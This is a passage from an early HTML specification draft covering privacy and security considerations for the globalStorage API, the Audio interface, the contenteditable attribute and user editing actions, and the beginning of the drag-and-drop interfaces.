individuals   with greater accuracy than in a world with purely anonymous Web usage.  <p>The <code title=dom-globalStorage><a   href="#globalstorage">globalStorage</a></code> object also introduces a   way for sites to cooperate to track users over multiple domains, by   storing identifying data in "<a href="#public0" title="public storage   area">public</a>" top-level domain storage area, accessible by any domain.  <p>There are a number of techniques that can be used to mitigate the risk   of user tracking:  <ul>   <li>    <p>Blocking third-party storage: user agents may restrict access to the     <code title=dom-globalStorage><a     href="#globalstorage">globalStorage</a></code> object to scripts     originating at the domain of the top-level document of the <a     href="#browsing">browsing context</a>.</p>    <p>This blocks a third-party site from using its private storage area for     tracking a user, but top-level sites could still cooperate with third     parties to perferm user tracking by using the "<a href="#public0"     title="public storage area">public</a>" storage area.</p>   <li>    <p>Expiring stored data: user agents may automatically delete stored data     after a period of time.</p>    <p>For example, a user agent could treat the global storage area as     session-only storage, deleting the data once the user had closed all the     <span>browsing contexts</span> that could access it.</p>    <p>This can restrict the ability of a site to track a user, as the site     would then only be able to track the user across multiple sessions when     he authenticates with the site itself (e.g. by making a purchase or     logging in to a service).</p>    <!-- XXX should there be an explicit way for sites to state when    data should expire? as in    globalStorage['example.com'].expireData(365); ? -->       <li>    <p>Blocking access to the top-level domain ("<a href="#public0"     title="public storage area">public</a>") storage areas: user agents may     prevent domains from storing data in and reading data from the top-level     domain entries in the <code title=dom-globalStorage><a     href="#globalstorage">globalStorage</a></code> object.</p>    <p>In practice this requires a detailed list of all the "public"     second-level (and third-level) domains. For example, content at the     domain <code>www.example.com</code> would be allowed to access     <code>example.com</code> data but not <code>com</code> data; content at     the domain <code>example.co.uk</code> would be allowed access to     <code>example.co.uk</code> but not <code>co.uk</code> or     <code>uk</code>; and content at <code>example.chiyoda.tokyo.jp</code>     would be allowed access to <code>example.chiyoda.tokyo.jp</code> but not     <code>chiyoda.tokyo.jp</code>, <code>tokyo.jp</code>, or     <code>jp</code>, while content at <code>example.metro.tokyo.jp</code>     would be allowed access to both <code>example.metro.tokyo.jp</code> and     <code>metro.tokyo.jp</code> but not <code>tokyo.jp</code> or     <code>jp</code>. The problem is even more convoluted when one considers     private domains with third-party subdomains such as     <code>dyndns.org</code> or <code>uk.com</code>.</p>    <p>Blocking access to the "<a href="#public0" title="public storage     area">public</a>" storage areas can also prevent innocent sites from     cooperating to provide services beneficial to the user.</p>   <li>    <p>Treating persistent storage as cookies: user agents may present the     persistent storage feature to the user in a way that does not     distinguish it from HTTP session cookies. <a     href="#refsRFC2965">[RFC2965]</a></p>    <p>This might encourage users to view persistent storage with healthy     suspicion.</p>   <li>    <p>Site-specific white-listing of access to "<a href="#public0"     title="public storage area">public</a>" storage area: user agents may     allow sites to access persistent storage for their own domain and     subdomains in an unrestricted manner, but require the user to authorise     access to the storage area of higher-level domains.</p>    <p>For example, code at <code>example.com</code> would be always allowed     to read and write data for <code>www.example.com</code> and     <code>example.com</code>, but if it tried to access <code>com</code>,     the user agent could display a non-modal message informing the user that     the page requested access to <code>com</code> and offering to allow it.</p>   <li>    <p>Origin-tracking of persistent storage data: user agents may record the     domain of the script that caused data to be stored.</p>    <p>If this information is then used to present the view of data currently     in persistent storage, it would allow the user to make informed     decisions about which parts of the persistent storage to prune. Combined     with a blacklist ("delete this data and prevent this domain from ever     storing data again"), the user can restrict the use of persistent     storage to sites that he trusts.</p>   <li>    <p>Shared blacklists: user agents may allow users to share their     persistent storage domain blacklists.</p>    <p>This would allow communities to act together to protect their privacy.</p>  </ul>  <p>While these suggestions prevent trivial use of this API for user   tracking, they do not block it altogether. Within a single domain, a site   can continue to track the user across multiple sessions, and can then pass   all this information to the third party along with any identifying   information (names, credit card numbers, addresses) obtained by the site.   If a third party cooperates with multiple sites to obtain such   information, a profile can still be created.  <p>However, user tracking is to some extent possible even with no   cooperation from the user agent whatsoever, for instance by using session   identifiers in URIs, a technique already commonly used for innocuous   purposes but easily repurposed for user tracking (even retroactively).   This information can then be shared with other sites, using using   visitors' IP addresses and other user-specific data (e.g. user-agent   headers and configuration settings) to combine separate sessions into   coherent user profiles.  <h5 id=cookie><span class=secno>5.4.8.2. </span>Cookie resurrection</h5>  <p>If the user interface for persistent storage presents data in the   persistent storage feature separately from data in HTTP session cookies,   then users are likely to delete data in one and not the other. This would   allow sites to use the two features as redundant backup for each other,   defeating a user's attempts to protect his privacy.  <h5 id=integrity><span class=secno>5.4.8.3. </span>Integrity of "public"   storage areas</h5>  <p>Since the "<a href="#public0" title="public storage area">public</a>"   global storage areas are accessible by content from many different   parties, it is possible for third-party sites to delete or change   information stored in those areas in ways that the originating sites may   not expect.  <p>Authors must not use the "<a href="#public0" title="public storage   area">public</a>" global storage areas for storing sensitive data. Authors   must not trust information stored in "<a href="#public0" title="public   storage area">public</a>" global storage areas.  <h5 id=cross-protocol><span class=secno>5.4.8.4. </span>Cross-protocol and   cross-port attacks</h5>  <p>This API makes no distinction between content served over HTTP, FTP, or   other host-based protocols, and does not distinguish between content   served from different ports at the same host.  <p>Thus, for example, data stored in the global persistent storage for   domain "www.example.com" by a page served from HTTP port 80 will be   available to a page served in <code>http://example.com:18080/</code>, even   if the latter is an experimental server under the control of a different   user.  <p>Since the data is not sent over the wire by the user agent, this is not   a security risk in its own right. However, authors must take proper steps   to ensure that all hosts that have fully qualified host names that are   subsets of hosts dealing with sensitive information are as secure as the   originating hosts themselves.  <p>Similarly, authors must ensure that all Web servers on a host,   regardless of the port, are equally trusted if any of them are to use   persistent storage. For instance, if a Web server runs a production   service that makes use of the persistent storage feature, then other users   that have access to that machine and that can run a Web server on another   port will be able to access the persistent storage added by the production   service (assuming they can trick a user into visiting their page).  <p>However, if one is able to trick users into visiting a Web server with   the same host name but on a different port as a production service used by   these users, then one could just as easily fake the look of the site and   thus trick users into authenticating with the fake site directly,   forwarding the request to the real site and stealing the credentials in   the process. Thus, the persistent storage feature is considered to only   minimally increase the risk involved.  <h5 id=dns-spoofing><span class=secno>5.4.8.5. </span>DNS spoofing attacks</h5>  <p>Because of the potential for DNS spoofing attacks, one cannot guarentee   that a host claiming to be in a certain domain really is from that domain.   The <code title=dom-StorageItem-secure><a href="#secure">secure</a></code>   attribute is provided to mark certain key/value pairs as only being   accessible to pages that have been authenticated using secure certificates   (or similar mechanisms).  <p>Authors must ensure that they do not mark sensitive items as "safe for   both secure and insecure content". (To prevent the risk of a race   condition, data stored by scripts in secure contexts default to being   marked as "safe only for secure content".)  <h5 id=cross-directory><span class=secno>5.4.8.6. </span>Cross-directory   attacks</h5>  <p>Different authors sharing one host name, for example users hosting   content on <code>geocities.com</code>, all share one persistent storage   object. There is no feature to restrict the access by pathname. Authors on   shared hosts are therefore recommended to avoid using the persistent   storage feature, as it would be trivial for other authors to read from and   write to the same storage area.  <p class=note>Even if a path-restriction feature was made available, the   usual DOM scripting security model would make it trivial to bypass this   protection and access the data from any path.  <h5 id=public><span class=secno>5.4.8.7. </span>Public storage areas   corresponding to hosts</h5>  <p>If a "<a href="#public0" title="public storage area">public</a>" global   storage area corresponds to a host, as it typically does if for private   domains with third-party subdomains such as dyndns.org or uk.com, the host   corresponding to the "public" domain has access to all the storage areas   of its third-party subdomains. In general, authors are discouraged from   using the <code title=dom-globalStorage><a   href="#globalstorage">globalStorage</a></code> API for sensitive data   unless the operators of all the domains involved are trusted.  <p>User agents may mitigate this problem by preventing hosts corresponding   to "<a href="#public0" title="public storage area">public</a>" global   storage areas from accessing any storage areas other than their own.  <h5 id=storage0><span class=secno>5.4.8.8. </span>Storage areas in the face   of untrusted higher-level domains that do not correspond to public storage   areas</h5>  <p>Authors should not store sensitive data using the global storage APIs if   there are hosts with fully-qualified domain names that are subsets of   their own which they do not trust. For example, an author at   <code>finance.members.example.net</code> should not store sensitive   financial user data in the <code>finance.members.example.net</code>   storage area if he does not trust the host that runs   <code>example.net</code>.  <h5 id=storage1><span class=secno>5.4.8.9. </span>Storage areas in the face   of untrusted subdomains</h5>  <p>If an author publishing content on one host, e.g.   <code>example.com</code>, wishes to use the <code   title=dom-globalStorage><a href="#globalstorage">globalStorage</a></code>   API but does not wish any content on the host's subdomains to access the   data, the author should use an otherwise non-existent subdomain name,   e.g., <code>private.example.com</code>, to store the data. This will be   accessible only to that host (and its parent domains), and not to any of   the real subdomains (e.g. <code>upload.example.com</code>).  <h5 id=implementation><span class=secno>5.4.8.10. </span>Implementation   risks</h5>  <p>The two primary risks when implementing this persistent storage feature   are letting hostile sites read information from other domains, and letting   hostile sites write information that is then read from other domains.  <p>Letting third-party sites read data that is not supposed to be read from   their domain causes <em>information leakage</em>, For example, a user's   shopping wishlist on one domain could be used by another domain for   targetted advertising; or a user's work-in-progress confidential documents   stored by a word-processing site could be examined by the site of a   competing company.  <p>Letting third-party sites write data to the storage areas of other   domains can result in <em>information spoofing</em>, which is equally   dangerous. For example, a hostile site could add items to a user's   wishlist; or a hostile site could set a user's session identifier to a   known ID that the hostile site can then use to track the user's actions on   the victim site.  <p>A risk is also presented by servers on local domains having host names   matching top-level domain names, for instance having a host called "com"   or "net". Such hosts might, if implementations fail to correctly implement   the <code>.localdomain</code> suffixing, <!-- XXX cross ref --> have full   access to all the data stored in a UA's persistent storage for that top   level domain.  <p>Thus, strictly following the model described in this specification is   important for user security.  <p>In addition, a number of optional restrictions related to the "<a   href="#public0" title="public storage area">public</a>" global storage   areas are suggested in the previous sections. The design of this API is   intended to be such that not supporting these restrictions, or supporting   them less than perfectly, does not result in critical security problems.   However, implementations are still encouraged to create and maintain a   list of "<a href="#public0" title="public storage area">public</a>"   domains, and apply the restrictions described above.  <h3 id=sound><span class=secno>5.5. </span>Sound</h3>  <p>The <code><a href="#audio0">Audio</a></code> interface allows scripts to   play sound clips. This interface is intended for sound effects, not for   streaming audio or multimedia; for the latter, the <code><a   href="#object0">object</a></code> element is more appropriate. <span   class=issue>We need to add an API for object to support pausing, etc, of   streaming APIs.</span>  <p>There is no markup element that corresponds to <code><a   href="#audio0">Audio</a></code> objects, they are only accessible from   script.  <p>User agents should allow users to dynamically enable and disable sound   output, but doing so must not affect how <code><a   href="#audio0">Audio</a></code> objects act in any way other than whether   sounds are physically played back or not. For instance, sound files must   still be downloaded, <code>load</code> and <code>error</code> events must   still fire, and if two identical clips are started with a two second   interval then when the sound is reenabled they must still be two seconds   out of sync.  <p>When multiple sounds are played simultaneously, the user agent must mix   the sounds together.  <pre class=idl>interface <dfn id=audio0>Audio</dfn> {<!-- XXX xrefs -->           attribute EventListener onload;           attribute EventListener onerror;  void play();  void loop();  void loop(in unsigned long playCount);  void stop();};</pre>  <p><code><a href="#audio0">Audio</a></code> objects must also implement the   <code>EventTarget</code> interface. <a   href="#refsDOM3EVENTS">[DOM3EVENTS]</a>   <!-- XXXXXXX haven't checked conf stats below here -->  <p>In ECMAScript, an instance of <code><a href="#audio0">Audio</a></code>   can be created using the <code>Audio(<var title="">uri</var>)</code>   constructor:  <pre class=example>var a = new Audio("test.wav");</pre>  <p>The <dfn id=audio1><code>Audio()</code> constructor</dfn> takes a single   argument, a URI (or IRI), which is resolved using the script context's   <code>window.location.href</code> value as the base, and which returns an   <code><a href="#audio0">Audio</a></code> object that will, at the   completion of the current script, start loading that URI.  <p>Once the URI is loaded, a <code>load</code> event must be fired on the   <code><a href="#audio0">Audio</a></code> object.  <p><code><a href="#audio0">Audio</a></code> objects have a current position   and a play count. Both are initially zero.  <p>The <code><a href="#audio0">Audio</a></code> interface has the following   members:</p>  <!-- XXX conf criteria -->  <dl>   <dt><dfn id=onload title=Audio.onload>onload</dfn>   <dd>An event listener that is invoked along with any other appropriate    event listeners that are registered on this object when a    <code>load</code> event is fired on it.   <dt><dfn id=play title=Audio.play>play()</dfn>   <dd>Begins playing the sound at the current position, setting the play    count to 1.   <dt><dfn id=loop title=Audio.loop>loop()</dfn>   <dd>Begins playing the sound at the current position, setting the play    count to infinity.   <dt><dfn id=loopplaycount title=Audio.loopN>loop(<var    title="">playCount</var>)</dfn>   <dd>Begins playing the sound at the current position, setting the play    count to <var title="">playCount</var>.   <dt><dfn id=stop title=Audio.stop>stop()</dfn>   <dd>Stops playing the clip and resets the current position and play count    to zero.  </dl>  <p>When playback of the sound reaches the end of the available data, its   current position is reset to the start of the clip, and the play count is   decreased by one (unless it is infinite). If the play count is greater   than zero, then the sound is played again.</p>  <!--   var sound = new Audio("URI relative to document URI");   sound.onload = function() { } // onload event handler   sound.play(); // play once   sound.loop(); // loop forever   sound.loop(2); // play twice   sound.stop(); // stop (if playing) and rewind-->  <!--WANT   sound.volume = 1.0; // 0.0 to 1.0   sound.pause(); // stop at current position but don't rewind   onerrorMAYBE WANT   sound.seek(l/2); // seek to position, in seconds   sound.pan = 0.0; // -1.0 (left) to 1.0 (right)   l = sound.length; // length of clip in seconds   onprogress-->  <h2 id=editing><span class=secno>6. </span><dfn id=editing1>Editing</dfn></h2>  <p>This section describes various features that allow authors to enable   users to edit documents and parts of documents interactively.  <h3 id=editing-intro><span class=secno>6.1. </span>Introduction</h3>  <p><em>This section is non-normative.</em>  <p class=big-issue>Would be nice to explain how these features work   together.  <h3 id=contenteditable><span class=secno>6.2. </span>The <code   title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute</h3>  <p>The <dfn id=contenteditable0   title=attr-contenteditable><code>contenteditable</code></dfn> attribute is   a common attribute. User agents must support this attribute on all <a   href="#html-elements">HTML elements</a>.  <p class=big-issue>redefine this in terms of a microsyntax  <p>If an HTML element has a <code title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute set to the   empty string or the value <code>true</code> (by <span>case-insensitive   match</span><!--XXX xref-->), or if its nearest ancestor with the <code   title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute set has its   attribute set to the empty string or the value <code>true</code> (by   <span>case-insensitive match</span><!--XXX  xref-->), then the UA must   treat the element as <dfn id=editable0>editable</dfn> (as described   below).</p>  <!-- XXX case-sensitivity in HTML -->  <p>If an HTML element has a <code title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute set but the   value of the attribute is not the empty string or the literal value   <code>true</code>, or if its nearest ancestor with the <code   title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute set is not   <em><a href="#editable0">editable</a></em>, or if it has no ancestor with   the <code title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute set, then   the element is not editable.  <p>Authors must only use the exact literal values <code>true</code> and   <code>false</code> with the <code title=attr-contenteditable><a   href="#contenteditable0">contenteditable</a></code> attribute.  <p class=big-issue>The <dfn id=contenteditable1   title=dom-contentEditable><code>contentEditable</code></dfn> DOM   attribute...</p>  <!-- is a string that accepts "true", "false",  "inherit", case-insensitively, and sets the content attribute to  "true", "false", or removes it, respectively, and raises an  exception otherwise -->  <p>If an element is <a href="#editable0">editable</a> and its parent   element is not, then the element is an <dfn id=editing2>editing   host</dfn>. Editable elements can be nested. User agents must make editing   hosts focusable (which typicially means they enter the <span   title=tabindex>tab order</span>). An editing host can contain non-editable   sections, these are handled as described below. An editing host can   contain non-editable sections that contain further editing hosts.  <p>When an editing host has focus, it must have a <dfn id=caret>caret   position</dfn> that specifies where the current editing position is. It   may also have a <a href="#a-selection" title="the   selection">selection</a>.</p>  <!--- XXX xref to later section -->  <p class=note>How the caret and selection are represented depends entirely   on the UA.</p>  <!-- XXX rendering requirement: The current caret should affect the  line-height (i.e. it acts at least like an empty inline element) -->  <!-- XXX document.designMode attribute -->  <h4 id=user-editing><span class=secno>6.2.1. </span>User editing actions</h4>  <p>There are several actions that the user agent should allow the user to   perform while the user is interacting with an editing host. How exactly   each action is triggered is not defined for every action, but when it is   not defined, suggested key bindings are provided to guide implementors.  <dl>   <dt>Move the caret   <dd>    <p>User agents must allow users to move the caret to any position within     an editing host, even into nested editable elements. This could be     triggered as the default action of <code     title=event-keydown>keydown</code> events with various key identifiers     and as the default action of <code     title=event-mousedown>mouseydown</code> events.   <dt>Change the selection   <dd>    <p>User agents must allow users to change <a href="#a-selection">the     selection</a> within an editing host, even into nested editable     elements. This could be triggered as the default action of <code     title=event-keydown>keydown</code> events with various key identifiers     and as the default action of <code     title=event-mousedown>mouseydown</code> events.   <dt id=contenteditable-insertText>Insert text   <dd>    <p>This action must be triggered as the default action of a <code     title=event-textInput>textInput</code> event, and may be triggered by     other commands as well. It must cause the user agent to insert the     specified text (given by the event object's <code title="">data</code>     attribute in the case of the <code     title=event-textInput>textInput</code> event) at the caret.</p>    <p>If the caret is positioned somewhere where <a     href="#inline-level1">inline-level content</a> is not allowed (e.g.     because the element accepts "both block-level and inline-level content     but not both", and the element already contains block-level content),     then the user agent must not insert the text directly at the caret     position. In such cases the behaviour is UA-dependent, but user agents     must not, in response to a request to insert text, generate a DOM that     is less conformant than the DOM prior to the request.</p>    <p>User agents should allow users to insert new paragraphs into elements     that only contain block-level content.</p>    <div class=example>     <p>For example, given the markup:</p>     <pre>AMPERSANDlt;sectionAMPERSANDgt; AMPERSANDlt;dlAMPERSANDgt;  AMPERSANDlt;dtAMPERSANDgt; Ben AMPERSANDlt;/dtAMPERSANDgt;  AMPERSANDlt;ddAMPERSANDgt; Goat AMPERSANDlt;/ddAMPERSANDgt; AMPERSANDlt;/dlAMPERSANDgt;AMPERSANDlt;/sectionAMPERSANDgt;</pre>     <p>...the user agent should allow the user to insert <code><a      href="#p0">p</a></code> elements before and after the <code><a      href="#dl0">dl</a></code> element, as children of the <code><a      href="#section0">section</a></code> element.</p>    </div>   <dt id=contenteditable-breakBlock>Break block   <dd>    <p>UAs should offer a way for the user to request that the current block     be broken at the caret, e.g. as the default action of a <code     title=event-keydown>keydown</code> event whose identifier is the "Enter"     key and that has no modifiers set.</p>    <p>The exact behaviour is UA-dependent, but user agents must not, in     response to a request to break a block, generate a DOM that is less     conformant than the DOM prior to the request.   <dt id=contenteditable-br>Insert a line separator   <dd>    <p>UAs should offer a way for the user to request an explicit line break     at the caret position without breaking the block, for example as in a     poem verse or an address. To insert a line break, the user agent must     insert a <code><a href="#br0">br</a></code> element.</p>    <p>If the caret is positioned somewhere where <a     href="#inline-level1">inline-level content</a> is not allowed (e.g.     because the element accepts "both block-level and inline-level content     but not both", and the element already contains block-level content),     then the user agent must not insert the <code><a     href="#br0">br</a></code> element directly at the caret position. In     such cases the behaviour is UA-dependent, but user agents must not, in     response to a request to insert a line separator, generate a DOM that is     less conformant than the DOM prior to the request.   <dt id=contenteditable-delete>Delete   <dd>    <p>UAs should offer a way for the user to delete text and elements, e.g.     as the default action of <code title=event-keydown>keydown</code> events     whose identifiers are "U+0008" or "U+007F".</p>    <p>Five edge cases in particular need to be considered carefully when     implementing this feature: backspacing at the start of an element,     backspacing when the caret is immediately after an element,     forward-deleting at the end of an element, forward-deleting when the     caret is immediately before an element, and deleting a <a     href="#a-selection" title="the selection">selection</a> whose start and     end points do not share a common parent node.</p>    <p>In any case, the exact behaviour is UA-dependent, but user agents must     not, in response to a request to delete text or an element, generate a     DOM that is less conformant than the DOM prior to the request.   <dt id=contenteditable-wrapSemantic>Insert, and wrap text in, semantic    elements   <dd>    <p>UAs should offer a way for the user to mark text as having <a     href="#em0" title=em>stress emphasis</a> and as being <a href="#strong0"     title=strong>important</a>, and may offer the user the ability to mark     text and blocks with other semantics.</p>    <p>UAs should similarly offer a way for the user to insert empty semantic     elements (such as, again, <code><a href="#em0">em</a></code>, <code><a     href="#strong0">strong</a></code>, and others) to subsequently fill by     entering text manually.</p>    <p>UAs should also offer a way to remove those semantics from marked up     text, and to remove empty semantic element that have been inserted.</p>    <p>The exact behaviour is UA-dependent, but user agents must not, in     response to a request to wrap semantics around some text or to insert or     remove a semantic element, generate a DOM that is less conformant than     the DOM prior to the request.   <dt>Select and move non-editable elements nested inside editing hosts   <dd>    <p>UAs should offer a way for the user to move images and other     non-editable parts around the content within an editing host. This may     be done using the <a href="#drag-and0">drag and drop</a> mechanism. User     agents must not, in response to a request to move non-editable elements     nested inside editing hosts, generate a DOM that is less conformant than     the DOM prior to the request.   <dt>Edit form controls nested inside editing hosts   <dd>    <p>When an <a href="#editable0">editable</a> form control is edited, the     changes must be reflected in both its current value <em>and</em> its     default value. For <code>input</code> elements this means updating the     <code title=dom-input-defaultValue>defaultValue</code> DOM attribute as     well as the <code title=dom-input-value>value</code> DOM attribute; for     <code>select</code> elements it means updating the <code>option</code>     elements' <code title=dom-option-defaultSelected>defaultSelected</code>     DOM attribute as well as the <code     title=dom-option-selected>selected</code> DOM attribute; for     <code>textarea</code> elements this means updating the <code     title=dom-textarea-defaultValue>defaultValue</code> DOM attribute as     well as the <code title=dom-textarea-value>value</code> DOM attribute.     (Updating the <code title="">default*</code> DOM attributes causes     content attributs to be updated as well.)   </dd>   <!-- XXX something about not supporting resizing? -->  </dl>  <!-- XXX each action performed should be added to the undo history -->  <p>User agents may perform several commands per user request; for example   if the user selects a block of text and hits <kbd><kbd>Enter</kbd></kbd>,   the UA might interpret that as a request to delete the content of <a   href="#a-selection">the selection</a> followed by a request to break the   block at that position.  <h4 id=designMode><span class=secno>6.2.2. </span>Making entire documents   editable</h4>  <p class=big-issue>This section will define document.<dfn id=designmode   title=dom-document-designMode><code>designMode</code></dfn>.  <h3 id=dnd><span class=secno>6.3. </span><dfn id=drag-and0>Drag and   drop</dfn></h3>  <!--XXXhttp://msdn.microsoft.com/workshop/author/datatransfer/overview.asphttp://msdn.microsoft.com/workshop/author/dhtml/reference/objects/clipboarddata.asp> To implement this with simple interface I've proposed, events should be> handled either by existing elements (like list items that compare their size> and position of dragged element to decide whether element should be dropped> before or after) or handled by container that would probably need to calculate> positions of it's children and create new element to show drop target. Smooth> Mac-like drag'n'drop can be implemented by animating drop target's> padding/margin. So that's quite a bit of code that's going to be reinvented> each time someone implements reordering.<hyatt> :droptarget<hyatt> or something<hyatt> we don't support a pseudo-class for the drop target but that's a great idea<Hixie_> yeah, thinking about that too<Hixie_> :drop-target, :drop-target(above), :drop-target(below) and having ondragover be able to say "not on me, but next to me maybe"http://msdn.microsoft.com/workshop/author/dhtml/reference/events/ondragstart.asphttp://msdn.microsoft.com/workshop/author/dhtml/reference/events/ondrag.asphttp://msdn.microsoft.com/workshop/author/dhtml/reference/events/ondragend.asphttp://msdn.microsoft.com/workshop/author/dhtml/reference/objects/obj_datatransfer.asphttp://developer.apple.com/documentation/AppleApplications/Conceptual/SafariJSProgTopics/Tasks/DragAndDrop.html-->  <p>This section defines an event-based drag-and-drop mechanism.  <p>This specification does not define exactly what a <em>drag and drop   operation</em> actually is.  <p>On a visual medium with a pointing device, a drag operation could be the   default action of a <code title=event-mousedown>mousedown</code> event   that is followed by a series of <code   title=event-mousemove>mousemove</code> events, and the drop could be   triggered by the mouse being released.  <p>On media without a pointing device, the user would probably have to   explicitly indicate his intention to perform a drag-and-drop operation,   stating what he wishes to drag and what he wishes to drop, respectively.  <p>However it is implemented, drag and drop operations must have a starting   point (e.g. where the mouse was clicked, or the start of <a   href="#a-selection">the selection</a> or element that was selected for the   drag), may have any number of intermediate steps (elements that the mouse   moves over during a drag, or elements that the user picks as possible drop   points as he cycles through possibilities), and must either have an end   point (the element above which the mouse button was released, or the   element that was finally selected), or be canceled. The end point must be   the last element selected as a possible drop point before the drop occurs   (so if the operation is not canceled, there must be at least one element   in the middle step).  <h4 id=the-dragevent><span class=secno>6.3.1. </span>The <code><a   href="#dragevent">DragEvent</a></code> and <code><a   href="#datatransfer0">DataTransfer</a></code> interfaces</h4>  <p>The drag-and-drop processing model involves several events. They all use   the <code><a href="#dragevent">DragEvent</a></code> interface.  <pre class=idl>interface <dfn id=dragevent>DragEvent</dfn> : Event {  readonly attribute <a href="#datatransfer0">DataTransfer</a> <a href="#datatransfer" title=dom-DragEvent-dataTransfer>dataTransfer</a>;  void <a href="#initdragevent" title=dom-DragEvent-initDragEvent>initDragEvent</a>(in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg);  void <a href="#initdrageventns" title=dom-DragEvent-initDragEventNS>initDragEventNS</a>(in DOMString namespaceURIArg, in DOMString typeArg, in boolean canBubbleArg, in boolean cancelableArg);};</pre>  <p>The <dfn id=initdragevent   title=dom-DragEvent-initDragEvent><code>initDragEvent()</code></dfn> and   <dfn id=initdrageventns   title=dom-DragEvent-initDragEventNS><code>initDragEventNS()</code></dfn>   methods must initialise the event in a manner analogous to the   similarly-named methods in the DOM3 Events interfaces. <a   href="#DOM3Events">[DOM3EVENTS]</a>  <p>The <dfn id=datatransfer   title=dom-DragEvent-dataTransfer><code>dataTransfer</code></dfn> attribute   of the <code><a href="#dragevent">DragEvent</a></code> interface   represents the context information for the event.  <p>When a <code><a href="#dragevent">DragEvent</a></code> object is   created, a new <code><a href="#datatransfer0">DataTransfer</a></code>   object must be created and assigned to the <code   title=dom-DragEvent-dataTransfer><a   href="#datatransfer">dataTransfer</a></code> context information field of   the event object.  <pre class=idl>interface <dfn id=datatransfer0>DataTransfer</dfn> {           attribute DOMString <a href="#dropeffect" title=dom-DataTransfer-dropEffect>dropEffect</a>;           attribute DOMString <a href="#effectallowed" title=dom-DataTransfer-effectAllowed>effectAllowed</a>;  void <a href="#cleardata" title=dom-DataTransfer-clearData>clearData</a>(in DOMString format);  void <a href="#setdata" title=dom-DataTransfer-setData>setData</a>(in DOMString format, in DOMString data);  DOMString <a href="#getdata" title=dom-DataTransfer-getData>getData</a>(in DOMString format);  void <a href="#setdragimage" title=dom-DataTransfer-setDragImage>setDragImage</a>(in Element image, in long x, in long y);  void <a href="#addelement" title=dom-DataTransfer-addElement>addElement</a>(in Element element);};</pre>  <p><code><a href="#datatransfer0">DataTransfer</a></code> objects can   conceptually contain various kinds of data.  <p>When a <code><a href="#dragevent">DragEvent</a></code> event object is   initialised, the <code><a href="#datatransfer0">DataTransfer</a></code>   object created for the event's <code title=dom-DragEvent-dataTransfer><a   href="#datatransfer">dataTransfer</a></code> member must be initialised as   follows:  <ul>   <li>The <code><a href="#datatransfer0">DataTransfer</a></code> object must    initially contain no data, no elements, and have no associated image.   <li>The <code><a href="#datatransfer0">DataTransfer</a></code> object's    <code title=dom-DataTransfer-effectAllowed><a    href="#effectallowed">effectAllowed</a></code> attribute must be set to    "<code title="">uninitialized</code>".   <li>The <code title=dom-DataTransfer-dropEffect><a    href="#dropeffect">dropEffect</a></code> attribute must be set to "<code    title="">none</code>".  </ul>  <p>The <dfn id=dropeffect   title=dom-DataTransfer-dropEffect><code>dropEffect</code></dfn> attribute   controls the drag and drop feedback that the user is given during a drag   and drop operation.  <p>The attribute must ignore any attempts to set it to a value other than   <code title="">none</code>, <code title="">copy</code>, <code   title="">link</code>, and <code title="">move</code>. On getting, the   attribute must return the last of those four values that it was set to.  <p>The <dfn id=effectallowed   title=dom-DataTransfer-effectAllowed><code>effectAllowed</code></dfn>   attribute is used in the drag and drop processing model to initialise the   <code title=dom-DataTransfer-dropEffect><a   href="#dropeffect">dropEffect</a></code> attribute during the <code   title=event-dragenter><a href="#dragenter">dragenter</a></code> and <code   title=event-dragover><a href="#dragover">dragover</a></code> events.  <p>The attribute must ignore any attempts to set it to a value other than   <code title="">none</code>, <code title="">copy</code>, <code   title="">copyLink</code>, <code title="">copyMove</code>, <code   title="">link</code>, <code title="">linkMove</code>, <code   title="">move</code>, <code title="">all</code>, and <code   title="">uninitialized</code>. On getting, the attribute must return the   last of those values that it was set to.  <p><code><a href="#datatransfer0">DataTransfer</a></code> objects can hold   pieces of data, each associated with a unique format. Formats are   generally given by MIME types, with some values special-cased for legacy   reasons.  <p>The <dfn id=cleardata   title=dom-DataTransfer-clearData><code>clearData(<var   title="">format</var>)</code></dfn> method must clear the <code><a   href="#datatransfer0">DataTransfer</a></code> object of any data   associated with the given <var title="">format</var>. If <var   title="">format</var> is the value "<code title="">Text</code>", then it   must be treated as "<code title="">text/plain</code>". If the <var   title="">format</var> is "<code title="">URL</code>", then it must be   treated as "<code title="">text/uri-list</code>".  <p>The <dfn id=setdata title=dom-DataTransfer-setData><code>setData(<var   title="">format</var>, <var title="">data</var>)</code></dfn> method must   add <var title="">data</var> to the data stored in the <code><a   href="#datatransfer0">DataTransfer</a></code> object, labelled as being of   the type <var title="">format</var>. This must replace any previous data   that had been set for that format. If <var title="">format</var> is the   value "<code title="">Text</code>", then it must be treated as "<code   title="">text/plain</code>". If the <var title="">format</var> is "<code   title="">URL</code>", then it must be treated as "<code   title="">text/uri-list</code>".  <p>The <dfn id=getdata title=dom-DataTransfer-getData><code>getData(<var   title="">format</var>)</code></dfn> method must return the data that is   associated with the type <var title="">format</var>, if any, and must   return the empty string otherwise. If <var title="">format</var> is the   value "<code title="">Text</code>", then it must be treated as "<code   title="">text/plain</code>". If the <var title="">format</var> is "<code   title="">URL</code>", then the data associated with the "<code   title="">text/uri-list</code>" format must be parsed as appropriate for   <code title="">text/uri-list</code> data, and the first URI from the list   must be returned. If there is no data with that format, or if there is but   it has no URIs, then the method must return the empty string. <a   href="#refsRFC2483">[RFC2483]</a>  <p>The <dfn id=setdragimage   title=dom-DataTransfer-setDragImage><code>setDragImage(<var   title="">element</var>, <var title="">x</var>, <var   title="">y</var>)</code></dfn> method sets which element to use <a   href="#base-dnd-feedback">to generate the drag feedback</a>. The <var   title="">element</var> argument can be any <code>Element</code>; if it is   an <code><a href="#img0">img</a></code> element, then the user agent   should use the element's image (at its intrinsic size) to generate the   feedback, otherwise the user agent should base the feedback on the given   element (but the exact mechanism for doing so is not specified).  <p>The <dfn id=addelement   title=dom-DataTransfer-addElement><code>addElement(<var   title="">element</var>)</code></dfn> method is an alternative way of   specifying how the user agent is to <a href="#base-dnd-feedback">render   the drag feedback</a>. It adds an element to the <code><a   href="#datatransfer0">DataTransfer</a></code> object.  <h4 id=events0><span class=secno>6.3.2. </span>Events fired during a   drag-and-drop action</h4>  <p>The following events are involved in the drag-and-drop model. Whenever 